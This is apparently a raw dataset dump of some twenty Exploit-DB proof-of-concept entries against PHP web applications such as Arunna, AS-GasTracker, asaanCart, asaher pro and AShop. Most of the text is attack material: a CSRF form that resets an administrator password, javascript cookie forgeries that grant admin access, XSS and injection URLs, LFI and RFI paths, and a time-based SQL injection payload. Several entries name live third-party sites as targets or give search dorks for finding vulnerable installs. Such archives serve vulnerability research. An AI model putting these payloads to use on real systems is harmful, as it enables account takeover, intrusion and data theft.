deardaniel/secdata-raw huggingface dataset:
Exploit-DB #50608
Description: Arunna 1.0.0 - 'Multiple' Cross-Site Request Forgery (CSRF)
Type: webapps
Platform: php
Date: 2021-12-16
Author: =(L_L)=

Exploit:
# Exploit Title: Arunna 1.0.0 - 'Multiple' Cross-Site Request Forgery (CSRF)
# Date: November 29, 2021
# Exploit Author: =(L_L)=
# Detailed Bug Description: https://lyhinslab.org/index.php/2021/11/29/how-white-box-hacking-works-xss-csrf-in-arunna/
# Vendor Homepage: https://github.com/arunna
# Software Link: https://github.com/arunna/arunna
# Version: 1.0.0
# Tested on: Ubuntu 20.04.2 LTS

<!--
The attacker can use the CSRF PoC below to change any sensitive user data (password, email, name and so on). 
-->

<html><form enctype="application/x-www-form-urlencoded" method="POST" action="http://{domain}/lumonata-admin/?state=users&prc=edit&id=1"><table><tr><td>username[0]</td><td><input type="text" value="admin" name="username[0]"></td></tr><tr><td>select[0]</td><td><input type="text" value="" name="select[0]"></td></tr>
<tr><td>first_name[0]</td><td><input type="text" value="Raden" name="first_name[0]"></td></tr>
<tr><td>last_name[0]</td><td><input type="text" value="Yudistira" name="last_name[0]"></td></tr>
<tr><td>display_name[0]</td><td><input type="text" value="Raden Yudistira" name="display_name[0]"></td></tr>
<tr><td>one_liner[0]</td><td><input type="text" value="" name="one_liner[0]"></td></tr>
<tr><td>location[0]</td><td><input type="text" value="" name="location[0]"></td></tr>
<tr><td>sex[0]</td><td><input type="text" value="1" name="sex[0]"></td></tr>
<tr><td>birthday[0]</td><td><input type="text" value="19" name="birthday[0]"></td></tr>
<tr><td>birthmonth[0]</td><td><input type="text" value="3" name="birthmonth[0]"></td></tr>
<tr><td>birthyear[0]</td><td><input type="text" value="2011" name="birthyear[0]"></td></tr>
<tr><td>bio[0]</td><td><input type="text" value="" name="bio[0]"></td></tr>
<tr><td>expertise[0][]</td><td><input type="text" value="5" name="expertise[0][]"></td></tr>
<tr><td>tags[0]</td><td><input type="text" value="Graphic Designer, Blogger, Director" name="tags[0]"></td></tr>
<tr><td>skills[0]</td><td><input type="text" value="Cooking, JQuery, Fireworks" name="skills[0]"></td></tr>
<tr><td>email[0]</td><td><input type="text" value="request@arunna.com" name="email[0]"></td></tr>
<tr><td>website[0]</td><td><input type="text" value="http://" name="website[0]"></td></tr>
<tr><td>password[0]</td><td><input type="text" value="admin12345" name="password[0]"></td></tr>
<tr><td>re_password[0]</td><td><input type="text" value="admin12345" name="re_password[0]"></td></tr>
<tr><td>user_type[0]</td><td><input type="text" value="administrator" name="user_type[0]"></td></tr>
<tr><td>status[0]</td><td><input type="text" value="1" name="status[0]"></td></tr>
<tr><td>save_changes</td><td><input type="text" value="Save User" name="save_changes"></td></tr>
</table><input type="submit" value="http://{domain}/lumonata-admin/?state=users&prc=edit&id=1"></form></html>
Exploit-DB #5615
Description: AS-GasTracker 1.0.0 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-05-14
Author: t0pP8uZz

Exploit:
--==+================================================================================+==--
--==+          AS-GasTracker 1.0.0 Insecure Cookie Handling Vulnerability	     +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz
Discovered On: 14 MAY 2008
Script Download: N/A
DORK: N/A



Vendor Has Not Been Notified!



DESCRIPTION: 

AS-GasTracker 1.0.0 suffers from Insecure Cookie Handling, when a admin cookie is created its set to "TRUE"
if user is admin and "FALSE" if it isnt. so all we need to do is create a cookie that resembles the one
AS-GasTracker uses. the cookie name being "gastracker_admin".

the javascript code below will create a cookie on the domain its ran on, so simply type the javascript below
into Firefox/Netscape, then visit /admin/



Vulnerability:

javascript:document.cookie = "gastracker_admin=TRUE; path=/";



NOTE/TIP: 

after running the javascript code in your browser on the vulnerable domain, browse to /admin/ and you will have
access.



GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew !



peace, t0pP8uZz



--==+================================================================================+==--
--==+          AS-GasTracker 1.0.0 Insecure Cookie Handling Vulnerability	     +==--
--==+================================================================================+==--

# milw0rm.com [2008-05-14]
Exploit-DB #18599
Description: asaanCart - Cross-Site Scripting / Local File Inclusion
Type: webapps
Platform: php
Date: 2012-03-14
Author: Number 7

Exploit:
______________________________________________________________________________________
# Exploit Title :[asaanCart XSS/LFI Vulnerabilities]
# Google Dork   :[intext:"smarty_ajax В— AJAX-enabled Smarty plugins"]Or[inurl:"/smarty_ajax/"]
# Date          :[14/03/2012]
# Author        :[Number 7]~ Twitter:[@TunisianSeven]
                           ~ Blog   :[http://tunisianseven.blogspot.com/]
# Tested on     :[Linux]
# Software Link :[http://asaancart.wordpress.com/]
# Download2     :[http://sourceforge.net/projects/asaancart/]
# Version:      :[v-0.9]
______________________________________________________________________________________
The bug is based on smarty_ajax plugin which is included in this script and other
scripts as well !

Demo: 
Html Injection + Cross site scripting:
(for the xss you must user IExplorer Or mozilla Firefox)
===>
http://localhost/asaancart%20v-0.9/libs/smarty_ajax/calc.php/%22onmouseover=prompt(944322)%3E%3Cu%3E%3Cbig%3E%3Cbig%3E%3Cbig%3E%3Cbig%3EInjection%20Here%3C/big%3E%3C/big%3E%3C/big%3E%3C/big%3E%3C/u%3E
http://localhost/asaancart%20v-0.9/libs/smarty_ajax/chat.php/%22onmouseover=prompt(998415)%3E%3CBig%3E%3Cbig%3E%3Cbig%3E%3Cbig%3E%3Cu%3EHtml%20Injection%20HerE.%3C/u%3E%3C/Big%3E%3C/big%3E%3C/big%3E%3C/big%3E
http://localhost/asaancart%20v-0.9/libs/smarty_ajax/register.php/%22onmouseover=prompt(970389)%3E%3Cbig%20style=%22color:%20rgb(204,%200,%200);%22%3E%3Cbig%3E%3Cspanstyle=%22font-weight:%20bold;%20font-style:%20italic;%20text-decoration:%20underline;%22%3EHtmlInjection.%3C/span%3E%3C/big%3E%3C/big%3E
http://localhost/asaancart%20v-0.9/libs/smarty_ajax/index.php/%22onmouseover=prompt(970389)%3E%3Cbig%20style=%22color:%20rgb(204,%200,%200);%22%3E%3Cbig%3E%3Cspanstyle=%22font-weight:%20bold;%20font-style:%20italic;%20text-decoration:%20underline;%22%3EHtmlInjection.%3C/span%3E%3C/big%3E%3C/big%3E
http://localhost/asaancart%20v-0.9/libs/smarty_ajax/index.php?_=&f=update_intro&page=1%3CScRiPt%20%3Eprompt%28949136%29%3C%2fScRiPt%3E

Local File Include:

Proof:
http://localhost/libs/smarty_ajax/index.php
lines: 29->33.

function update_intro() {
  global $t;
  header('Content-Type: text/html; charset=windows-1251');
  $t->display('introduction/' . $_GET['page'] . '.tpl');
}

Usage[LFI]:
http://localhost/asaancart%20v-0.9/libs/smarty_ajax/index.php?_=&f=update_intro&page=../../../../../templates\add_product
It will include the file with .tpl extension !
you can replace it with file.php%00 Or use your immagination ....
______________________________________________________________________________________
Exploit-DB #10652
Description: asaher pro 1.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-12-25
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : asaher pro 1.0  RFI Vulnerability                                       |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       |
| # DAte     :16/12/2009                                                               |
| # Web Site : www.iq-ty.com                                                           |
| # Script   : Powered by : asaher pro 1.0 http://www.asaher.com/                      |
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       |
| # Bug      : RFI                                                                     | 
======================      Exploit By indoushka       =================================
| # Exploit  : 
| 
| 1- http://localhost/asaher_pro1.0.2/view_messages.php?row_y5_site_configuration[templates_folder]=[EV!L]
| 2- http://localhost/asaher_pro1.0.2/view_blog_comments.php?row_y5_site_configuration[templates_folder]=[EV!L]
| 3- http://localhost/asaher_pro1.0.2/view_blog_archives.php?row_y5_site_configuration[templates_folder]=[EV!L]
| 4- http://localhost/asaher_pro1.0.2/view_blog_archives.php?row_y5_site_configuration[templates_folder]=[EV!L]
| 5- http://localhost/asaher_pro1.0.2/add_comments.php?row_y5_site_configuration[templates_folder]=[EV!L]
| 6- http://localhost/asaher_pro1.0.2/downloads.php?row_y5_site_configuration[templates_folder]=[EV!L]
| 7- http://localhost/asaher_pro1.0.2/emailsender.php?row_y5_site_configuration[templates_folder]=[EV!L]
| 8- http://localhost/asaher_pro1.0.2/left_menu.php?row_y5_site_configuration[templates_folder]=[EV!L]
|
================================   Dz-Ghost Team   ========================================
Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
-------------------------------------------------------------------------------------------
Exploit-DB #9475
Description: asaher pro 1.0.4 - Remote Database Backup
Type: webapps
Platform: php
Date: 2009-08-18
Author: alnjm33

Exploit:
:::::::::::::::::::::::::::::::::::::::
found by alnjm33
my site : http://sec-war.com/cc/
mail:alnjm33(at)hotmail.com
::::::::::::::::::::::::::::::::::::
::::::::::::::::::::::::::::::::Re: asaher pro v1.0.4 Remote Database Backup Vulnerability:::::::::::::::::::::::::::
expolit:
 /path/admin/admin_backup.php <<< you will downlaod the database
view demo
http://daralyamama.com/news/admin/admin_backup.php
::::::::::::::::::::::::::::::::::::::::::::::::::::::::

 Special Thanks : all sec-war.com  members

# milw0rm.com [2009-08-18]
Exploit-DB #8675
Description: Ascad Networks 5 - Products Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2009-05-14
Author: G4N0K

Exploit:
==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================
                      ____   _  _     _   _    ___    _  __
                     / ___| | || |   | \ | |  / _ \  | |/ /
                    | |  _  | || |_  |  \| | | | | | | ' / 
                    | |_| | |__   _| | |\  | | |_| | | . \ 
                     \____|    |_|   |_| \_|  \___/  |_|\_\...FROM IRAN

==============================================================================
	Ascad Networks 5 Products Insecure Cookie Handling Vulnerability
==============================================================================

	[Â»] Script:.............[ Ascad Networks Scripts ]....................
	[Â»] Website:............[ http://www.ascadnetworks.com ]..............
	[Â»] Today:..............[ 1305009 ]...................................
	[Â»] Founder:............[ G4N0K | mail[.]ganok[sh!t]gmail.com ].......


	
	 [+] c7 Portal <= v1.1.0
	===============================
	
	Live...: http://hatcocorporation.com/c7/

        [0] javascript:document.cookie = "c7portal=admin";
		[1] now navigate to: http://hatcocorporation.com/c7/home/
            esle, you will fall into a loop ;)...

        [1] d0rk: intitle:"c7 Portal by Ascad Networks"

	


	 [+] Password Protector SD v2 (ppSD2)
	===============================
	
	Live...: http://ppsd2008.passwordprotectorsd.com/ppSD2/admin/

        [0] javascript:document.cookie = "c7portal=admin";





	 [+] Form Processor Gold
	===============================
	
	Live...: http://www.ascadnetworks.com/cgi-bin/demos/fp_gold/admin.pl

        [0] javascript:document.cookie = "FormProGold=in";





	 [+] Guestbook Creator v1.5
	===============================
	
	Live...: http://www.ascadnetworks.com/cgi-bin/demos/gb/admin.pl

        [0] javascript:document.cookie = "ascadnetworks_gbook_admin=in";





	 [+] Mini Forum v1.0.1
	===============================
	
	Live...: http://www.ascadnetworks.com/cgi-bin/demos/mf/admin.pl

        [0] javascript:document.cookie = "admf=admin";




	 [+] Greetz
	===================================
	[Â»] ALLAH
	[Â»] MSD, AMD, AFN, SMN...
	[Â»] Hussain-X, JiKo, Sakab(!)...

# milw0rm.com [2009-05-14]
Exploit-DB #33605
Description: ASCET Interactive Huski CMS - 'i' Local File Inclusion
Type: webapps
Platform: php
Date: 2010-02-05
Author: Wireghoul

Exploit:
source: https://www.securityfocus.com/bid/38126/info

Huski CMS is prone to a local file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the computer; other attacks are also possible. 

<?php
header ('Content-Type: text/html; charset=utf-8');
// Data Includes
include_once "PHPLib/db_mysql.inc";
include_once "Data/dbConnection.class.php";
include_once "Data/dbConfig.class.php";
include_once "Data/dataAdapter.class.php";
include_once "Quicksite/Core/domxml.class.php";


// Quicksite Core Includes
include_once "Quicksite/Core/all.inc.php";

// Configuration
include_once "Quicksite/db.config.php";
include_once "inc/vars.config.php";

// Initialise the Site
$site = new Site($_VARS['site']);
print_r($_SESSION['login']);
// Initialise the Page
$page = new Page($site, $_GET['id'], array_merge($_POST, $_GET));

// Load plugin sources
$page->loadPluginSources();

// Create the Page
$page->createPage();

echo $page->Result;
?>
Exploit-DB #33606
Description: ASCET Interactive Huski Retail - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2010-02-05
Author: Wireghoul

Exploit:
source: https://www.securityfocus.com/bid/38129/info

Huski Retail is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/?_action=editProducts&categoryID=[SQLI]
http://www.example.com/?_action=showProducts&categoryID=[SQLI]&id=shop
http://www.example.com/?_action=showProductDetails&productID=[SQLI]&categoryID=1310&id=shop
http://www.example.com/?_action=showProductDetails&productID=22095&categoryID=[SQLI]&id=shop
Exploit-DB #36237
Description: asgbookPHP 1.9 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-10-17
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/50167/info

asgbookphp is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary HTML and script code in an unsuspecting user's browser in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

http://code.google.com/p/asgbookphp/ asgbookphp 1.9 is vulnerable; other versions may also be affected. 

http://www.example.com/asgbookphp/index.php/>'><ScRiPt>alert(771818860)</ScRiPt>
Exploit-DB #1864
Description: ashNews 0.83 - 'pathtoashnews' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-02
Author: Kacper

Exploit:
################ DEVIL TEAM THE BEST POLISH TEAM #################
#
# ashnews v0.83(pathtoashnews) - Remote File Include Vulnerabilities
# Script site: http://dev.ashwebstudio.com/
# dork: News powered by ashnews
# Find by Kacper (Rahim).
# Greetings; DragonHeart, Satan, Leito, Leon, Luzak, Adam, DeathSpeed, Drzewko, pepi
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Special greetz DragonHeart :***
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
#
##################################################################
Expl:

http://www.site.com/[ashnews_path]/ashheadlines.php?pathtoashnews=[evil_scripts]

http://www.site.com/[ashnews_path]/ashnews.php?pathtoashnews=[evil_scripts]


#Elo ;-)

# milw0rm.com [2006-06-02]
Exploit-DB #36297
Description: AShop - Open Redirection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-11-09
Author: Infoserve Security Team

Exploit:
source: https://www.securityfocus.com/bid/50616/info

AShop is prone to multiple open-redirection issues and multiple cross-site scripting issues because it fails to sufficiently sanitize user-supplied input.

Attackers can exploit these issues to execute arbitrary script or HTML code, steal cookie-based authentication credentials, and conduct phishing attacks. Other attacks may also be possible.

Versions prior to AShop 5.1.4 are vulnerable. 

IE8

http://www.example.com/ashop/?&#039;"<script>alert(document.cookie)</script>
http://www.example.com/ashop/index.php?&#039;"<script>alert(document.cookie)</script>
http://www.example.com/ashop/picture.php?picture=" stYle=x:expre/**/ssion(alert(document.cookie)) ns="
http://www.example.com/ashop/index.php?language=&#039;"<script>alert(document.cookie)</script>

FF 7.1

http://www.example.com/ashop/index.php?searchstring=1&showresult=true&exp=&#039;"</script><script>alert(666);</script>&resultpage=&categories=off&msg=&search=index.php&shop=1
http://www.example.com/ashop/catalogue.php?cat=3&exp=3&shop=3&resultpage=&#039;"</script><script>alert(document.cookie)</script>&msg=
http://www.example.com/ashop/catalogue.php?cat=3&exp=3&shop=3&resultpage=1&msg=&#039;"</script><script>alert(document.cookie)</script>
http://www.example.com/ashop/basket.php?cat=0&sid=&#039;"</script><script>alert(document.cookie)</script>&shop=1&payoption=3

Open Redirection

http://www.example.com/ashop/language.php?language=sv&redirect=http://www.google.com
http://www.example.com/ashop/currency.php?currency=aud&redirect=http://www.google.com
http://www.example.com/ashop/currency.php?redirect=http://www.google.com
Exploit-DB #29378
Description: AShop Deluxe 4.5 - 'basket.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-01-02
Author: Hackers Center Security

Exploit:
source: https://www.securityfocus.com/bid/21845/info
 
AShop Deluxe and AShop Administration Panel are prone to multiple cross-site scripting vulnerabilities because they fail to sufficiently sanitize user-supplied input data.
 
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
http://www.example.com/ashop/basket.php?cat=[XSS]
Exploit-DB #29377
Description: AShop Deluxe 4.5 - 'catalogue.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-01-02
Author: Hackers Center Security

Exploit:
source: https://www.securityfocus.com/bid/21845/info

AShop Deluxe and AShop Administration Panel are prone to multiple cross-site scripting vulnerabilities because they fail to sufficiently sanitize user-supplied input data.

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/ashop/catalogue.php?cat=[XSS]
http://www.example.com/ashop/catalogue.php?exp=[XSS]
Exploit-DB #29381
Description: AShop Deluxe 4.5 - 'editcatalogue.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-01-02
Author: Hackers Center Security

Exploit:
source: https://www.securityfocus.com/bid/21845/info
    
AShop Deluxe and AShop Administration Panel are prone to multiple cross-site scripting vulnerabilities because they fail to sufficiently sanitize user-supplied input data.
    
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
    
http://www.example.com/cart-path/admin/editcatalogue.php?cat=[XSS]
Exploit-DB #29382
Description: AShop Deluxe 4.5 - 'salesadmin.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-01-02
Author: Hackers Center Security

Exploit:
source: https://www.securityfocus.com/bid/21845/info
     
AShop Deluxe and AShop Administration Panel are prone to multiple cross-site scripting vulnerabilities because they fail to sufficiently sanitize user-supplied input data.
     
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
     
http://www.example.com/cart-path/admin/salesadmin.php?resultpage=[XSS]
Exploit-DB #29379
Description: AShop Deluxe 4.5 - 'search.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-01-02
Author: Hackers Center Security

Exploit:
source: https://www.securityfocus.com/bid/21845/info
  
AShop Deluxe and AShop Administration Panel are prone to multiple cross-site scripting vulnerabilities because they fail to sufficiently sanitize user-supplied input data.
  
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
http://www.example.com/ashop/search.php?searchstring=[XSS]
Exploit-DB #29380
Description: AShop Deluxe 4.5 - 'shipping.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-01-02
Author: Hackers Center Security

Exploit:
source: https://www.securityfocus.com/bid/21845/info
   
AShop Deluxe and AShop Administration Panel are prone to multiple cross-site scripting vulnerabilities because they fail to sufficiently sanitize user-supplied input data.
   
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
   
http://www.example.com/ashop/shipping.php?action=checkout=[XSS]
http://www.example.com/ashop/shipping.php?action=[XSS]
Exploit-DB #46681
Description: Ashop Shopping Cart Software - 'bannedcustomers.php?blacklistitemid' SQL Injection
Type: webapps
Platform: php
Date: 2019-04-09
Author: Doğukan Karaciğer

Exploit:
# Exploit Title: Ashop Shopping Cart Software - SQL Injection
# Date: 08.04.2019
# Exploit Author: Doğukan Karaciğer
# Vendor Homepage: http://www.ashopsoftware.com
# Software Link: https://sourceforge.net/projects/ashop/
# Demo Site: http://demo.ashopsoftware.com/
# Version: Lastest
# Tested on: Ubuntu-trusty-64
# CVE: N/A

----- PoC: SQLi -----

Request: http://localhost/[PATH]/admin/bannedcustomers.php
Parameter: blacklistitemid (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: blacklistitem=1&deletebutton=Delete&blacklistitemid=1 AND (SELECT
* FROM (SELECT(SLEEP(5)))MGvE)